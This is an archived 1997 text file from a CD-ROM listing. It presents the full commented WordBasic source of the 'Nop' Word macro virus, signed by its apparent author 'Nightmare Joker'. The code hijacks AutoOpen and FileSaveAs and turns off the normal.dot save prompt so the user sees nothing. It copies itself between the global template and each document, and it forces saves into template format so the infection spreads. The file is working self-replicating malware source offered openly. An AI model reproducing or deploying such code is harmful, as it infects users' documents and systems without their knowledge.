home *** CD-ROM | disk | FTP | other *** search
/ HPAVC / HPAVC CD-ROM.iso / CCTX0297.ZIP / MVUPDAT7.ZIP / NOPUP.ZIP / NOPSRC.TXT < prev   
Text File  |  1997-01-03  |  1KB  |  61 lines
  1. [ WordMacro. Nop ]────────────────────────────────────────────────────────────
  2.  
  3. ■ VIRUSNAME:      Nop
  4. ■ SIZE:           234 Bytes (2 macros)
  5. ■ ORIGIN:         Germany
  6. ■ AUTHOR:         maybe T.S.? ;-))
  7.  
  8. Here is the source code of the word macro Nop virus.
  9.  
  10. Description ==> '....
  11.  
  12. Macroname: AutoOpen (will always activate if you open any file!)
  13. ~~~~~~~~~~~~~~~~~~~
  14. 'macro start.
  15. Sub MAIN
  16.  
  17. 'save all changes and the user see nothing.
  18. ToolsOptionsSave .GlobalDotPrompt = 0
  19.  
  20. 'm$ means: active file + macro "NOP"
  21. m$ = FileName$() + ":NOP"
  22.  
  23. 'Copy macro "NOP" to the file normal.dot with the new name "FileSaveAs".
  24. MacroCopy m$, "Global:FileSaveAs"
  25.  
  26. 'm$ means now: active file + macro "AutoOpen"
  27. m$ = FileName$() + ":AutoOpen"
  28.  
  29. 'Copy macro "AutoOpen" now to normal.dot with the new name "NOP".
  30. MacroCopy m$, "Global:NOP"
  31.  
  32. 'macro end.
  33. End Sub
  34.  
  35. Macroname: NOP 
  36. ~~~~~~~~~~~~~~
  37. 'macro start.
  38. Sub MAIN
  39.  
  40. 'm$ means: active file + macro "AutoOpen"
  41. m$ = FileName$() + ":AutoOpen"
  42.  
  43. 'Copy now macro "NOP" from normal.dot to the active file
  44. 'with the new name "AutoOpen"
  45. MacroCopy "Global:NOP", m$
  46.  
  47. 'm$ means now: active file + macro "NOP"
  48. m$ = FileName$() + ":NOP"
  49.  
  50. 'Copy now macro "FileSaveAs" from normal.dot to the active file
  51. 'with the new name "NOP"
  52. MacroCopy "Global:FileSaveAs", m$
  53.  
  54. 'Save now the file as a template.
  55. FileSaveAs .Name = FileName$(), .Format = 1
  56. End Sub
  57.  
  58. OK, I hope you understand this very easy macro virus.
  59.  
  60. -Nightmare Joker
  61.